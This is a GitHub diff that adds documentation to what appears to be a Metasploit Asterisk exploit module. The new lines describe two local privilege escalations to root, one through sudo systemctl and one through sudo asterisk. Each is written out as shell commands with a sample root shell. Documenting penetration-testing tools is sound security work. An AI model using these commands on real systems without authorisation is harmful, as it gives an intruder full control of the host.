File tree Expand file tree Collapse file tree 1 file changed +24
-0
lines changed
documentation/modules/exploit/linux/http Expand file tree Collapse file tree 1 file changed +24
-0
lines changed Original file line number Diff line number Diff line change @@ -154,3 +154,27 @@ User asterisk may run the following commands on f7681361bd20:
154
154
(root) NOPASSWD: /bin/systemctl
155
155
bash-4.4$
156
156
```
157
+ #### Low-hanging LPE via systemctl
158
+
159
+ If ` /bin/systemctl ` is listed in sudo as NOPASSWD, you can escalate to root (outside Docker) via:
160
+
161
+ ``` bash
162
+ sudo systemctl
163
+ ! sh
164
+ ```
165
+
166
+ * Source: [ https://gtfobins.github.io/gtfobins/systemctl/#sudo ] ( https://gtfobins.github.io/gtfobins/systemctl/#sudo ) *
167
+
168
+ #### Low-hanging LPE via Asterisk NOPASSWD
169
+
170
+ If ` /usr/sbin/asterisk ` is listed in sudo as NOPASSWD, you can obtain a root shell by:
171
+
172
+ ``` bash
173
+ # 1) Start Asterisk as root, in foreground so it creates its CLI socket
174
+ sudo asterisk -F
175
+
176
+ # 2) Connect to the Asterisk console and drop into a root shell
177
+ sudo asterisk -r
178
+ f7681361bd20* CLI> ! sh
179
+ sh-4.4#
180
+ ```
You can’t perform that action at this time.
0 commit comments